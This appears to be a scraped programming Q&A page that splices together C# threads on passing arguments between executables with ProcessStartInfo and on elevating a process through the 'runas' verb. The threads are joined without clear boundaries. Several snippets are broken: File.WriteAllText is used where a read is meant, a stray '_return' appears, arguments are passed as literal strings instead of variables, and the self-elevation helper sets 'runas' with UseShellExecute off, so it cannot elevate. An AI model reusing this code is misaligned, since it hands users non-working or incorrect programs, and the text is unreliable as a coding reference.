This is the method which will be using the parameters from ProjectA.
How can i get the Parameters from ProjectA to this method in ProjectB?
You could use this method:
public static int RunProcessAsAdmin(string exeName, string parameters)
{
try {
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.UseShellExecute = true;
startInfo.WorkingDirectory = CurrentDirectory;
startInfo.FileName = Path.Combine(CurrentDirectory, exeName);
startInfo.Verb = "runas";
//MLHIDE
startInfo.Arguments = parameters;
startInfo.ErrorDialog = true;
Process process = System.Diagnostics.Process.Start(startInfo);
process.WaitForExit();
return process.ExitCode;
} catch (Win32Exception ex) {
WriteLog(ex);
switch (ex.NativeErrorCode) {
case 1223:
return ex.NativeErrorCode;
default:
return ErrorReturnInteger;
}
} catch (Exception ex) {
WriteLog(ex);
return ErrorReturnInteger;
}
}
The first parameter will be your .exe file and the second one will be the parameters you want to give to your .exe file
After this you should make changes in your .exe file in the main section.
Something like:
static void Main(string[] args)
{
if (args.Length <= 1) return;
try
{
if (args.Length == 2)
{
_IpAddress = args[0];
_IpPort = args[1];
FunctionName(_IpAddress, _IpPort);
}
else
{
_return
}
}
catch (Exception)
{
throw new Exception("Invalid number of parameters!");
}
}
I hope this helps.
Update
ProgramA{
string ip ="123.123.123";
File.WriteAllText("c://MtDataFromA.txt","ip="+ip);
}
private void btnFinish_Click(object sender, EventArgs e)
{
ipAddress = File.WriteAllText("c://MtDataFromA.txt");//some algorithem to find the ip from text file
}
public static void StoreAndBindCertificate(string pfxFileServerCert, string ipAddress, string ipPort){
// Use ProcessStartInfo class
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.CreateNoWindow = false;
startInfo.UseShellExecute = false;
startInfo.FileName = "YourFile.exe";
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.Arguments = "ipAddress"+" " +"ipPort";
try
{
// Start the process with the info we specified.
// Call WaitForExit and then the using statement will close.
using (Process exeProcess = Process.Start(startInfo))
{
exeProcess.WaitForExit();
}
}
catch
{
// Log error.
}
}
link
I have a windows service that runs under a logon say "UserA". The job of the windows service is to start a new process on a timer elapsed event.
private void timer_Elapsed(object sender, ElapsedEventArgs e)
{
Task.Factory.StartNew(() => StartNewProcess());
}
private void Initialize()
{
newProcess = new Process();
newProcess.StartInfo.FileName = "Test.exe";
newProcess.StartInfo.Arguments = "sessionId...";
newProcess.StartInfo.CreateNoWindow = false;
newProcess.StartInfo.ErrorDialog = false;
newProcess.StartInfo.RedirectStandardError = true;
newProcess.StartInfo.RedirectStandardInput = true;
newProcess.StartInfo.UseShellExecute = false;
newProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
}
private void StartNewProcess()
{
newProcess.Start();
}
On task manager I see that both the windows service and the new process have a "User Name" as "UserA".
But the problem is Windows service is able to access "C:\QueryResult" but the new process is not able to access "C:\QueryResult"
I am using File.Copy("C:\QueryResult", "D:\blahblah") on both the process
Has the security context changed in the new process?
Try automatically elevating the application permissions like so:
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Windows.Forms;
public static class Program
{
[STAThread]
public static void Main()
{
if (!IsAdmin() && IsWindowsVistaOrHigher())
RestartElevated();
else
DoStuff();
}
private static Boolean IsAdmin()
{
WindowsIdentity identity = WindowsIdentity.GetCurrent();
if (identity != null)
return (new WindowsPrincipal(identity)).IsInRole(WindowsBuiltInRole.Administrator);
return false;
}
private static Boolean IsWindowsVistaOrHigher()
{
OperatingSystem os = Environment.OSVersion;
return ((os.Platform == PlatformID.Win32NT) && (os.Version.Major >= 6));
}
private static void RestartElevated()
{
String[] argumentsArray = Environment.GetCommandLineArgs();
String argumentsLine = String.Empty;
for (Int32 i = 1; i < argumentsArray.Length; ++i)
argumentsLine += "\"" + argumentsArray[i] + "\" ";
ProcessStartInfo info = new ProcessStartInfo();
info.Arguments = argumentsLine.TrimEnd();
info.CreateNoWindow = false;
info.ErrorDialog = false;
info.FileName = Application.ExecutablePath;
info.RedirectStandardError = true;
info.RedirectStandardInput = true;
info.UseShellExecute = false;
info.Verb = "runas";
info.WindowStyle = ProcessWindowStyle.Hidden;
info.WorkingDirectory = Environment.CurrentDirectory;
try
{
Process.Start(info);
}
catch { return; }
Application.Exit();
}
}